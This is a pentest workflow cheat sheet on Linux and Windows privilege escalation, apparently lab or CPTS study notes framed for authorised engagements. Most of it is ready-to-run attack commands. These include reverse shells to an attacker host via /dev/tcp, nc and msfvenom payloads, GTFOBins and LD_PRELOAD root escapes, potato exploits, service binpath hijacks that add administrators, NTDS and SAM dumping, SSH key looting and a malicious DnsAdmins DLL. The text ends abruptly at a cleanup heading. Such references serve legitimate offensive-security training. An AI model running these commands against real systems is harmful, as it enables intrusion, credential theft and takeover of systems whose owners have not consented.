FLOW^:Pentest Workflow

Stage 09 — Privilege Escalation

Pentest attack-flow reference for stage 09 — privilege escalation in an authorised engagement.

intermediateupdated 2026-10-12LinPEAS · WinPEAS · pspy · Seatbelt

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 12 of 17 · Focus: Stage 09 — Privilege Escalation

Previous: Stage 08 — Password Attacks and Credential Hunting · Next: Stage 10 — Lateral Movement, Pivoting, and Loot


⬆️ STAGE 9 — Privilege Escalation (Linux & Windows)

I’ve got a foothold (web shell, SSH, service account). Goal now: root / NT AUTHORITY\SYSTEM. My loop is always the same — stabilise the shell → auto-enum → chase the reddest finding → re-enum after every priv gain. Automated tools point the way, but I verify manually because they lie and they trip EDR.

[!tip] First thing, every box Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: sudo -l + whoami /priv. Nine times out of ten the quick-win beats the linpeas scroll.

[!abstract] Sibling deep-dives Linux full-length checklist: Linux Privilege Escalation — CPTS Cheat Sheet · Windows: Windows Privilege Escalation — CPTS Cheat Sheet · Credentials found here feed back into Stage 08 and forward into Stage 10.


🐧 Linux

0 — Upgrade the TTY first (do this before anything else)

What to look for: tty returns not a tty, no tab-complete, su/ssh die. Fix it now or every later step is misery. Full playbook in TTY Upgrades & Restricted Shells.

# ── [TARGET] spawn a PTY (first one that exists) ──
python3 -c 'import pty; pty.spawn("/bin/bash")'
# no python? →
script -qc /bin/bash /dev/null
# Ctrl+Z to background
# ── [ATTACKER] raw mode + foreground (zsh: MUST be one line) ──
stty raw -echo; fg
# ── [TARGET] fix the terminal ──
reset
export SHELL=bash TERM=xterm-256color
stty rows 50 cols 200   # values from `stty size` locally

[!warning] Watch out On zsh stty raw -echo and fg must be on the same line separated by ; or -echo is lost before fg runs. If I land in rbash/rksh/lshell, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in TTY Upgrades & Restricted Shells.

1 — Auto-enum: linpeas + pspy

[!tools] Stage this — Linux enum toolkit Staged in the vault:

linpeas.sh (SHA-256 · GPG signature)

linpeas_linux_amd64 (SHA-256 · GPG signature)

Link-only companions (grab from your attack box): linux-smart-enumeration (lse.sh) — verbose, level-based (-l 1 for the interesting stuff) · LinEnum — older but -t thorough mode still catches cron/NFS oddities · linux-exploit-suggester — kernel/CVE matcher · BeRoot — config-driven privesc checks. Reference: GTFOBins for every binary a check flags.

# ── [ATTACKER] serve tools ──
python3 -m http.server 80   # from dir with linpeas.sh + pspy64
# ── [TARGET] run linpeas straight to memory (no disk artifact) ──
curl http://$LHOST/linpeas.sh | bash
# or drop it and run with all checks
./linpeas.sh -a | tee /tmp/.lp.txt
# static binary variant when the shell script is mangled/blocked:
chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64
# ── watch cron/root processes live (catches hidden root jobs) ──
./pspy64 -pf -i 1000

[!tip] Read linpeas by colour — RED/YELLOW = 95% a vector. pspy is my secret weapon: it shows root cron jobs and command lines with no root needed, which linpeas can miss. Run both before touching anything else; their output decides which section below you jump to.

[!opsec] OPSEC / detection Piping curl | bash leaves no file but the process args still show in ps//proc and EDR telemetry. linpeas.sh -a is very noisy (hundreds of spawned binaries). On a monitored host prefer targeted manual checks (MITRE T1083 File and Directory Discovery, T1057 Process Discovery are logged everywhere) and run pspy from /dev/shm or /tmp with an innocuous name. Clear /tmp/.lp.txt when done.

2 — sudo -l + GTFOBins (the #1 quick-win)

What to look for: anything I can run as another user, NOPASSWD, or env_keep+=LD_PRELOAD.

sudo -l
# (root) NOPASSWD: /usr/bin/find   → GTFOBins it

Decision table — read sudo -l output:

sudo -l showsWhat it meansFirst move
(ALL : ALL) ALLFull sudo, password neededreuse the foothold password / looted creds (Stage 08)
(root) NOPASSWD: /path/binFree root via one binarycheck the sudo column on GTFOBins for that exact binary
(userX) NOPASSWD: ...Lateral step, not rootbecome userX (sudo -u userX ...), re-run sudo -l — chained hops are common in CPTS
env_keep+=LD_PRELOAD / LD_LIBRARY_PATHLibrary injection survives sudo§F below — compile a root .so
SETENV:I can set arbitrary env varssudo PYTHONPATH=/tmp ..., sudo PATH=..., sudo BASH_ENV=...
sudoedit / -e entryEdit a file as rootcheck CVE-2023-22809 (§I) or GTFOBins sudoedit (shell escape via EDITOR)
!authenticateNo password even without NOPASSWDjust run it
secure_path=...sudo rebuilds PATHPATH hijack against this entry is dead (§A)
nothing / “not allowed”No sudo rightsmove on; check sudo version CVEs (§I)
# ── GTFOBins sudo escapes (match the binary you're allowed) ──
sudo find . -exec /bin/bash \; -quit
sudo vim -c ':!/bin/bash'
sudo awk 'BEGIN {system("/bin/bash")}'
sudo env /bin/bash
sudo nmap --interactive    # legacy nmap 2.x–5.x only, then: !sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root  # -z runs script as root
# ── "shell escape sequence" family (man/less/more/git/journalctl pagers) ──
sudo man man      # then: !/bin/bash
sudo less /etc/hosts    # then: !/bin/bash
sudo git -p help config # then: !/bin/bash
# ── env_keep LD_PRELOAD ──
gcc -fPIC -shared -o /tmp/root.so shell.c -nostartfiles   # _init(){setuid(0);system("/bin/bash");}
sudo LD_PRELOAD=/tmp/root.so <allowed_command>

[!warning] Watch out sudo version < 1.8.28? Check CVE-2019-14287 (sudo -u#-1) and Baron Samedit CVE-2021-3156 (heap overflow, works even with no sudo rights). Always check the GTFOBins entry for the exact binary — a lot of them need a specific invocation to keep the euid. And remember: a sudo grant for a script (/opt/backup.sh) is only as strong as the script’s writability — check ls -l on the target file, not just the grant.

[!opsec] OPSEC — sudo abuse Every sudo invocation writes to /var/log/auth.log (or journald) with the full command line — GTFOBins escapes are unmistakable in log review. On monitored boxes, prefer vectors that don’t touch sudo at all (capabilities, writable cron targets, NFS), and clean up dropped SUID shells (/tmp/rootbash) immediately after establishing a steadier root channel.

3 — SUID / SGID binaries

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null   # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null   # SETGID
# quick triage: anything NOT in the standard set is interesting
# ── abuse a SUID binary → keep root euid with -p (see GTFOBins "suid" column) ──
/usr/bin/env /bin/bash -p
find . -exec /bin/bash -p \; -quit
python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'

[!warning] Watch out A non-standard SUID binary (custom app, weird path) is a screaming vector — check the SUID column on GTFOBins, and if it calls another binary by bare name, hijack it via PATH (§A). bash drops SUID unless you pass -p. Pitfall: SUID bits are ignored on filesystems mounted nosuid (common for /tmp, NFS) — a planted SUID shell there does nothing.

4 — Capabilities

getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl → instant root

Capability → escalation map:

CapabilitySeen onEscalation
cap_setuid+eppython, perl, ruby, phpos.setuid(0) → shell (below)
cap_dac_read_search+eptar, cat, some backup toolsread any file → /etc/shadow, root’s SSH keys (§8)
cap_dac_override+epvim.basic, cpwrite any file → edit /etc/passwd (§E)
cap_sys_admin+ep—mount abuse: mount -o bind the host FS, effectively root
cap_sys_ptrace+epgdb, pythoninject into / steal the memory of a root process (T1055)
cap_sys_module+epinsmodload a malicious kernel module
cap_chown, cap_fowner—take ownership of /etc/shadow or a root script, then rewrite it
# cap_setuid=ep example
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_read_search on tar → exfil /etc/shadow
tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp

5 — Cron jobs, pspy & writable scripts

[!tools] Stage this — process/cron monitoring pspy64 (SHA-256 · GPG signature)

pspy32 (SHA-256 · GPG signature)

Run unprivileged; watches /proc for every process spawn (root’s included) with full command lines. -pf prints filesystem events, -i 1000 polls every second. Match 32 vs 64-bit with uname -m before uploading.

cat /etc/crontab; ls -la /etc/cron.*/ /var/spool/cron/
# pspy confirms what actually fires as root and how often
# ── writable script run by root cron → append reverse shell ──
echo 'bash -i >& /dev/tcp/'$LHOST'/443 0>&1' >> /path/to/root_cron_script.sh
# ── writable cron PATH: cron's PATH is set inside /etc/crontab; if a dir in it is
#    writable AND the job calls a binary by relative name → drop a same-named payload ──
grep '^PATH' /etc/crontab; ls -ld <each_dir_on_that_PATH>
# ── or wildcard injection (tar/rsync in a root cron over a dir I write to) ──
echo 'mkfifo /tmp/f; nc '$LHOST' 443 0</tmp/f | /bin/sh >/tmp/f 2>&1' > shell.sh
touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'

[!tip] Confirm the job is live with pspy64 -pf before planting payloads — a backup script that fires daily at 03:00 is a 20-hour wait; one firing every minute is a win now. Cron PATH hijack and wildcard injection mechanics: §A and §B below. MITRE T1053.003.

[!warning] Writable cron paths are the subtle variant The crontab itself can be root-locked while the target of the job is writable: the script file, the directory the script lives in (rename-and-replace), a binary the script calls by relative name, or a glob directory it operates on (§B). Check each link of the chain with ls -l / namei -l /full/path/to/script.sh — namei shows perms on every component at once. In CPTS labs the writable-directory-not-file pattern is a favourite.

6 — Writable PATH, world-writable files, NFS, containers & disk groups

echo $PATH
find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/null   # world-writable files
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # ...and dirs
showmount -e $IP                                                     # NFS exports
id                                                                   # lxd? docker? disk? adm? → group-based escape
# ── PATH hijack a root-run binary that calls e.g. `service` by relative name ──
PATH=.:${PATH}; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > service; chmod +x service
# ── NFS no_root_squash → drop a SUID root shell from attacker box (full chain §C) ──
sudo mount -t nfs $IP:/tmp /mnt && cp /bin/bash /mnt/x && chmod +s /mnt/x   # then /tmp/x -p on target
# ── docker group → host FS in a throwaway container (full chain §D) ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# ── LXD group → mount host / inside a privileged container ──
lxc image import alpine.tar.gz --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t; lxc exec r00t /bin/sh   # host fs under /mnt/root
# ── disk group → raw block-device access (read /etc/shadow, write a SUID) ──
debugfs -w /dev/sda1     # debugfs> cat /root/.ssh/id_rsa   (or: dump, write)
# ── adm group → read /var/log: creds & tokens leaked into logs ──
grep -riE 'passw|token|secret' /var/log 2>/dev/null
# ── lxc group (unprivileged variant) → same trick, use security.privileged=false + idmap, or /etc/subuid abuse ──

Linux quick-triage table — finding → first move:

Finding (linpeas/manual)SectionFirst move
sudo -l grants a binary§2GTFOBins sudo entry for that exact binary
Non-standard SUID§3GTFOBins suid column; strings for bare-name calls (→ §A PATH hijack)
cap_setuid/cap_dac_*/cap_sys_admin§4capability map table → setuid/read/write as root
Root cron + writable script/dir§5append payload, or wildcard-inject (§B)
PATH=… writable dir in cron’s PATH§5/§Aplant same-named binary
no_root_squash export§CSUID shell staged as attacker-root
docker/lxd/lxc/disk/adm group§6/§D/§Jcontainer mount / debugfs / log loot
Writable /etc/passwd/shadow/sudoers§Einline-hash UID-0 user
Writable systemd unit / timer§HExecStart revshell + daemon-reload
Old kernel/sudo/pkexec, nothing else§7/§Ilogic bugs first: PwnKit → Baron Samedit → Dirty Pipe/COW last
Readable id_rsa / root tmux socket§8/§9direct key reuse / socket attach

7 — Kernel exploits (last resort)

What to look for: old kernel + no other path. Kernel exploits can panic the box — I try everything else first.

uname -a; cat /etc/os-release; cat /etc/lsb-release 2>/dev/null   # kernel + distro
sudo -V | head -1                                                  # sudo version for §I CVEs
# match with linux-exploit-suggester (link-only) or searchsploit linux kernel <ver>
gcc kernel_exploit.c -o kx && ./kx    # compile ON-target for glibc match

[!danger] Kernel exploit caution Memory-corruption kernel exploits (Dirty COW CVE-2016-5195 < 4.8.3, Dirty Pipe CVE-2022-0847 kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can panic or hang the target — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer logic bugs over memory corruption — PwnKit CVE-2021-4034 (pkexec, near-universal pre-2022, rarely crashes) and sudo Baron Samedit CVE-2021-3156 are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts (T1068 Exploitation for Privilege Escalation).

[!warning] Watch out PwnKit (CVE-2021-4034) is near-universal on anything with pkexec and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: Linux Privilege Escalation Cheat Sheet.

8 — SSH key looting & reuse

What to look for: readable private keys, known_hosts targets, agent sockets — they turn a single-host foothold into lateral root without any exploit.

ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null
find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null | grep -v ^/proc
cat /home/*/.ssh/known_hosts /home/*/.ssh/authorized_keys 2>/dev/null   # where do they SSH to/from?
cat ~/.ssh/config 2>/dev/null                                          # jump hosts, custom ports
# ── [ATTACKER] fix perms and reuse ──
chmod 600 looted_id_rsa
ssh -i looted_id_rsa user@$IP          # same box, higher user? root@? pivot host from known_hosts?
# ── root's key readable via cap_dac_read_search / disk group / backup job → same path ──
# ── ssh-agent socket hijack (if I share a box with a root session or find root's env) ──
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.PID ssh-add -l

[!tip] Keys found as a low user often belong to root or a deploy/admin account — always try ssh -i key root@$IP locally first (fast, no network noise), then every host in known_hosts. Passphrase-protected key? ssh2john key > hash → hashcat -m 22921 (see Stage 08). MITRE T1552.004.

9 — tmux / screen session hijack

What to look for: a root-owned tmux/screen socket that’s group-writable, or a screen session left detached with sloppy permissions. Attaching inherits the running shell — zero exploit code.

ps aux | grep -E 'tmux|screen' | grep -v grep     # root sessions?
ls -la /tmp/tmux-* /run/screen/* 2>/dev/null      # socket dirs + perms
# group-writable root socket (e.g. srw-rw---- root devs, and I'm in devs):
tmux -S /shareds                                  # straight into root's live shell
# screen equivalent: find the session dir, then
screen -x root/                                   # attach multi-display to root's session

[!note] This also works horizontally: a dev user’s live tmux gives you their full context (history, agent, sudo session). Don’t kill the session — tmux -S sock attach read-only (-r) first if you just want to loot scrollback. Related socket/group tricks: §J below.

10 — Service-level vectors: MySQL UDF · polkit · logrotate · systemd

What to look for: mysql running as root with a known credential, an interactive polkit-reachable service, writable log dirs + old logrotate, writable systemd units.

# ── MySQL running as ROOT + I have creds → UDF command execution as root ──
ps aux | grep mysql | grep -v grep          # user=root?
mysql -u root -p -e 'select @@plugin_dir, @@version_compile_os;'
# drop a UDF .so (lib_mysqludf_sys) into @@plugin_dir, then:
#   CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
#   SELECT sys_exec('chmod +s /bin/bash');
# ── polkit: can I reach pkexec/polkit actions? (separate from PwnKit the CVE) ──
pkexec --version; pkaction | head
# polkit < 0.119 on RHEL/CentOS 7-era boxes → CVE-2021-3560 (accountsservice race → add root user)
# ── logrotate: writable log dir + logrotate 3.8.6/3.11.0/3.15.0/3.18.0 → logrotten race ──
logrotate --version; ls -ld /var/log/<app>   # writable log + create-only-if-missing config
# ── systemd: writable unit / ExecStart target / sudo systemctl → §H below ──
systemctl list-timers --all

[!warning] Watch out MySQL UDF needs secure_file_priv empty or pointing at a writable plugin dir and FILE privilege on mysql — check SHOW GRANTS. CVE-2021-3560 is a race: expect several attempts, and it creates a user — clean it up afterward. systemd unit abuse and logrotten details: §H below.


🪟 Windows

1 — Auto-enum + the two commands that matter

[!tools] Stage this — Windows enum toolkit Staged in the vault:

winPEASx64.exe (SHA-256 · GPG signature)

winPEASany.exe (SHA-256 · GPG signature)

PrivescCheck.ps1 (SHA-256 · GPG signature)

jaws-enum.ps1 (SHA-256 · GPG signature)

Seatbelt.exe (SHA-256 · GPG signature)

SharpUp.exe (SHA-256 · GPG signature)

PowerUp.ps1 (SHA-256 · GPG signature)

Link-only companions: Watson / Sherlock (legacy missing-patch suggesters) · WES-NG and Windows-Exploit-Suggester — offline diff: run systeminfo on the target, feed the output to the suggester on your attack box (wesng systeminfo.txt), and it maps missing patches → known privesc CVEs without touching the target again.

What to look for: whoami /priv for SeImpersonate; whoami /groups for privileged groups. Deep dives: Windows PrivEsc Cheat Sheet and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.

# ── the fast manual checks (do these by hand immediately) ──
whoami /priv
whoami /groups
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"   # feed WES-NG offline
:: ── stage tools to C:\Windows\Temp (Users can write there) ──
certutil.exe -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt
:: ── stealthier .NET options ──
.\SharpUp.exe audit
.\Seatbelt.exe -group=all
# ── PrivescCheck (PowerShell, itm4n — thorough + low FP, Extended mode) ──
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
# ── JAWS (pure PowerShell, older boxes / no AV) ──
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFileName jaws.txt
# ── PowerUp (import + all checks; has auto-exploit functions) ──
Import-Module .\PowerUp.ps1; Invoke-AllChecks

[!warning] Watch out winPEAS is flagged by 50+ AV engines and Defender blocks it by default — on a monitored box use the .bat variant, SharpUp/Seatbelt (compiled .NET dodges AMSI), PrivescCheck via IEX cradle, or just do it manually. Even a “Disabled” privilege in whoami /priv means the account has it; it just needs enabling.

2 — whoami /priv interpretation table

Every privilege listed — even Disabled — is assigned to my token and can be enabled in-session. Map priv → technique before running anything:

Privilege (whoami /priv)Buys meTechnique / tool
SeImpersonatePrivilegesteal any connecting client’s tokenpotato family (§3) — most common service-account win
SeAssignPrimaryTokenPrivilegeassign a token to a new processpotato with -t * variant / direct CreateProcessAsUser
SeDebugPrivilegeopen any process (incl. SYSTEM/LSASS)procdump/comsvcs LSASS dump, or token steal via psgetsys (deep section)
SeBackupPrivilegeread any file ignoring DACLsrobocopy /B hive/NTDS theft → secretsdump (deep section)
SeRestorePrivilegewrite any file, change ownership/ACLs, load hivesoverwrite a SYSTEM service binary, reg load/restore tricks
SeTakeOwnershipPrivilegeWRITE_OWNER on any objecttakeown + icacls /grant → read protected files (deep section)
SeLoadDriverPrivilegeload kernel driversBYOVD: EoPLoadDriver + Capcom.sys (Print Operators §)
SeManageVolumePrivilegevolume-level ops → full-control ACL on C:\SeManageVolumeExploit → DLL hijack chain (deep section)
SeCreateTokenPrivilegeforge arbitrary tokenscreate a SYSTEM token directly (rare)
SeTcbPrivilegeact as part of the OStoken manipulation → SYSTEM (rare, juicy)
SeEnableDelegationPrivilegeset delegation on accounts/computersAD abuse — constrained delegation path (Stage 06 territory)
SeShutdownPrivilege etc.—not escalation; ignore noise

[!note] No native cmdlet flips a Disabled priv on — use a scripted AdjustTokenPrivileges helper (EnableAllTokenPrivs, Enable-Privilege.ps1) or the attack tool’s built-in self-enable. MITRE T1134 Access Token Manipulation.

3 — SeImpersonatePrivilege → Potato → SYSTEM

What to look for: SeImpersonatePrivilege Enabled — standard on IIS AppPool, MSSQL, NETWORK SERVICE, LOCAL SERVICE. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack.

[!tools] Stage this — potato family PrintSpoofer64.exe (SHA-256 · GPG signature)

GodPotato-NET4.exe (SHA-256 · GPG signature)

GodPotato-NET35.exe (SHA-256 · GPG signature)

JuicyPotato.exe (SHA-256 · GPG signature)

SweetPotato.exe (SHA-256 · GPG signature)

Link-only: RoguePotato (needs fake OXID resolver + port-forward on 135) · JuicyPotatoNG (DCOM revived for newer builds) · SharpEfsPotato (C#, EFS-RPC coercion).

Decision table — pick by requirement, not by habit:

ToolRequirementWorks onNotes
PrintSpoofer64.exePrint Spooler runningall builds incl. 2019/2022fast, clean, interactive -i; dead if Spooler disabled (common post-PrintNightmare)
GodPotato-NET4 / -NET35matching .NET version installedServer 2012–2022, Win8–11works with Spooler OFF — the broad default; pick NET35 vs NET4 by what’s on the box
JuicyPotato.exevalid CLSID list for the OSpre-Server 2019 / Win10 <1809Microsoft killed the DCOM path on 2019+/1809+; also covers SeAssignPrimaryToken with -t *
SweetPotato.exe.NET 4.xbroadcombo: PrintSpoofer + EfsRpc + Rotten auto-fallback in one binary
RoguePotato (link)fake OXID resolver reachable on 135 (socat port-fwd)Spooler-off boxesneeds the redirector; use when outbound 135 to attacker is possible
JuicyPotatoNG (link).NET 4.x, local interactivenewer builds-t * CreateProcessWithToken; pairs with PrintSpoofer-style add-user
SharpEfsPotato (link)EFS-RPC reachablebroad, C# (memory-only friendly)executes inline; good when dropping EXEs is blocked
whoami /priv | findstr /i "Impersonate AssignPrimaryToken"
[System.Environment]::OSVersion.Version   # pick the right potato
sc query Spooler                          # up? PrintSpoofer viable
# .NET version decides GodPotato variant:
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
# Release >= 378389 → .NET 4.5+ present → GodPotato-NET4; older/legacy → -NET35
# ── GodPotato: broadest compatibility (Server 2012–2022, Win8–11) ──
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"

# ── PrintSpoofer: fast/clean, needs Print Spooler ──
sc query Spooler
.\PrintSpoofer64.exe -i -c cmd                       # interactive SYSTEM
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"

# ── JuicyPotato: legacy builds only ──
.\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *

# ── SweetPotato: auto-fallback combo ──
.\SweetPotato.exe -a "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
# Connect to the MSSQL foothold from Linux.
impacket-mssqlclient "$U":"$P"@$IP -windows-auth
# Commands entered at the mssqlclient SQL prompt.
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
SQL> xp_cmdshell certutil -urlcache -f http://$LHOST/GodPotato-NET4.exe C:\Temp\gp.exe
SQL> xp_cmdshell C:\Temp\gp.exe -cmd "cmd /c net localgroup administrators $U /add"

[!warning] Watch out JuicyPotato is dead on Server 2019+ / Win10 1809+ (Microsoft killed the DCOM path) — reach for GodPotato or PrintSpoofer there. If Print Spooler is disabled, PrintSpoofer won’t fire; GodPotato doesn’t need it. The potato itself is quiet — the SYSTEM cmd/powershell spawned from w3wp.exe/sqlservr.exe (Event 4688) is the loud part.

4 — AlwaysInstallElevated

:: ── BOTH keys must be 0x1 ──
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ── [ATTACKER] build a SYSTEM MSI ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o evil.msi
:: ── [TARGET] install silently → SYSTEM shell ──
msiexec /quiet /qn /norestart /i C:\Windows\Temp\evil.msi
:: or PowerUp's user-add MSI
Import-Module .\PowerUp.ps1; Write-UserAddMSI

[!note] Loud but reliable: MSI install writes Event 11707 (MsiInstaller) and the service/executable artifacts land under C:\Program Files. Remove the installed product (msiexec /x) after proving the path. MITRE T1548.002.

5 — Unquoted service path

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
icacls "C:\Program Files\Some Folder\"    :: can I write an intermediate dir?
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o Some.exe
copy Some.exe "C:\Program Files\Some.exe"
sc stop VulnSvc & sc start VulnSvc

[!warning] Watch out Unquoted paths are commonly found but rarely exploitable — writing to C:\ or C:\Program Files needs admin, and I usually can’t restart the service (wait for reboot). Report it, but don’t hang the whole box on it. Weak service perms below are the real win.

6 — Weak service perms (binary / DACL / registry)

What to look for: SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS for my user, a writable service .exe, or a writable service registry key.

:: modifiable services / binaries
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -quvcw VulnSvc
icacls "C:\Program Files\VulnApp\service.exe"
accesschk.exe /accepteula "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\Services
:: ── (a) weak service DACL: read the SDDL, then reconfigure binpath ──
sc sdshow VulnSvc                                    :: D: A;;CCLCSWRPWPDTLOCRRC;;;SY ... look for your SID/group with RPWP
sc config VulnSvc binpath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnSvc & sc start VulnSvc
net localgroup administrators
:: cleanup: restore original binpath (and SDDL if changed: sc sdset VulnSvc "D:(...)")
sc config VulnSvc binpath= "C:\Program Files\VulnApp\service.exe"

:: ── (b) writable binary → replace it ──
copy /Y C:\Windows\Temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnSvc & sc start VulnSvc
# ── (c) writable registry ImagePath ──
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Windows\Temp\payload.exe"
Restart-Service VulnSvc

[!tip] The service will “fail to start” — that’s fine, the command already ran as LocalSystem. Always revert the binpath afterward or you break the service and leave a loud artifact (Event 7045 new/changed service, 4657 registry change). MITRE T1543.003 / T1574.

[!opsec] OPSEC / detection — service abuse sc config / sdset changes are written to the registry under HKLM\SYSTEM\CurrentControlSet\Services\<svc> and logged (Sysmon 13, 4657, 7045 on start). Prefer: (1) record the original binpath/SDDL (sc qc, sc sdshow) before touching anything, (2) use the cmd /c <one-shot> binpath form so no binary is dropped, (3) restore immediately after the callback lands, (4) if the box is monitored, consider the writable-binary variant instead — replacing an existing EXE leaves no service-config event at all (but does trip file-integrity/AV scans).

DLL search-order table (for the DLL-hijack deep dive below — Safe DLL Search Mode ON, the default):

#Location searchedAbusable when
1Application’s own directoryapp folder writable by me → drop the DLL here (the classic)
2C:\Windows\System32admin-only (or via SeManageVolume/SeRestore write)
3C:\Windows\Systemadmin-only
4C:\Windowsadmin-only
5Current working directorypushed low by Safe DLL Search; abusable via writable CWD + relative launch
6PATH directories (in order)a user-writable dir sits on the SYSTEM PATH → plant DLL (T1574.001)

7 — Credential hunting: autologon, unattend, cmdkey, history

Quick local sweep here — the full playbook (SYSVOL cpassword, DPAPI, KeePass, browser stores, config files) lives in Stage 08 — Password Attacks and Credential Hunting.

:: ── plaintext autologon creds ──
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  :: DefaultUserName/DefaultPassword
:: ── unattended-install leftovers (cleartext or Base64 creds) ──
where /R C:\ unattend.xml
type C:\Windows\Panther\unattend.xml
type C:\Windows\System32\Sysprep\sysprep.xml
:: ── saved creds → runas ──
cmdkey /list
runas /savecred /user:%USERDOMAIN%\Administrator "cmd.exe /c C:\Windows\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
:: ── config-file sweep ──
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
# ── PowerShell history (all users), then spray reuse everywhere ──
foreach($u in (ls C:\users).fullname){cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

[!note] Password reuse is rampant — any credential I find (history file, Sticky Notes, web.config) gets sprayed across every reachable host. Re-enumerate after every priv gain: files readable as admin that weren’t readable before often hold the domain keys.

8 — AD privileged-group abuse (on/against a DC)

What to look for: whoami /groups showing Backup Operators, Server Operators, Print Operators, DnsAdmins, or Account Operators. Each is a direct or near-direct path to DC/SYSTEM.

whoami /groups | findstr /i "Backup Server Print DnsAdmins Account"

Backup Operators — SeBackup/SeRestore read any file → grab NTDS + SYSTEM → offline hashes (🟣 Attack):

whoami /priv                                   # SeBackupPrivilege / SeRestorePrivilege
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit   # backup-mode copy bypasses the lock/ACL
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# remote, no logon needed:
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SAM' -o SAM
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SYSTEM' -o SYSTEM
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Server Operators — can manage services on the DC → make one run as SYSTEM (🟣 Attack):

sc.exe \\%COMPUTERNAME% query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators %USERNAME% /add"
sc.exe \\DC01 stop VSS & sc.exe \\DC01 start VSS

Print Operators — SeLoadDriverPrivilege → load a vulnerable driver (🟣 Attack):

whoami /priv                                          :: SeLoadDriverPrivilege Enabled
EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\Tools\Capcom.sys
ExploitCapcom.exe                                     :: SYSTEM shell (BYOVD on modern builds)

DnsAdmins — DNS runs as SYSTEM; load a plugin DLL (🟣 Attack):

msfvenom -p windows/x64/exec cmd='net group "domain admins" '"$U"' /add /domain' -f dll -o evil.dll
smbserver.py share /path/to/dll/ -smb2support
dnscmd $DC /config /serverlevelplugindll \\$LHOST\share\evil.dll
sc \\$DC stop dns; sc \\$DC start dns          # DLL executes as SYSTEM
# CLEANUP immediately or DNS stays broken:
